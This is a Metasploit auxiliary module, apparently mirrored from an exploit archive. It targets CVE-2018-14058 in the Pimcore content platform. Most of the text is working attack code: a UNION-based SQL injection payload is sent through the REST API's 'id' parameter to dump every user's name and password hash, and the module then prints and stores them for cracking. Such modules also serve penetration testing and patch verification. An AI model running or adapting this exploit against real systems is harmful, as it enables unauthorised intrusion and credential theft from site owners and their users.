## https://sploitus.com/exploit?id=PACKETSTORM:180637
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Pimcore Gather Credentials via SQL Injection',
'Description' => %q{
This module extracts the usernames and hashed passwords of all users of
the Pimcore web service by exploiting a SQL injection vulnerability in
Pimcore's REST API.
Pimcore begins to create password hashes by concatenating a user's
username, the name of the application, and the user's password in the
format USERNAME:pimcore:PASSWORD.
The resulting string is then used to generate an MD5 hash, and then that
MD5 hash is used to create the final hash, which is generated using
PHP's built-in password_hash function.
},
'Author' => [ 'Thongchai Silpavarangkura', # PoC
'N. Rai-Ngoen', # PoC
'Shelby Pace' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-14058' ],
[ 'EDB', '45208' ]
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ]
},
'DisclosureDate' => '2018-08-13'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to pimcore', '/' ]),
OptString.new('APIKEY', [ true, 'The valid API key for Pimcore REST API', '' ])
])
end
def available?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
res && res.code == 200 && res.body.include?('pimcore')
end
def get_creds
api_uri = normalize_uri(target_uri.path, "/webservice/rest/object-inquire")
cmd = "#{rand(256)}) UNION ALL SELECT CONCAT(name,\" \",password) from users#"
res = send_request_cgi(
'method' => 'GET',
'uri' => api_uri,
'vars_get' => {
'apikey' => datastore['APIKEY'],
'id' => cmd
}
)
unless res
fail_with(Failure::NotFound, 'The request returned no results.')
end
fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')
format_results(res.get_json_document['data'])
end
def format_results(response)
fail_with(Failure::NotFound, 'No data found') unless response
creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?
print_good("Credentials obtained:")
creds.each do |user, pass|
print_good("#{user} : #{pass}")
store_creds(user, pass)
end
end
def store_creds(username, hash)
store_valid_credential(
user: username,
private: hash,
private_type: :nonreplayable_hash,
service_data: {
jtr_format: 'bcrypt',
origin_type: :service,
address: rhost,
port: rport,
service_name: 'mysql',
protocol: 'tcp'
}
)
end
def run
fail_with(Failure::NotFound, 'Could not access the Pimcore web page.') unless available?
get_creds
end
end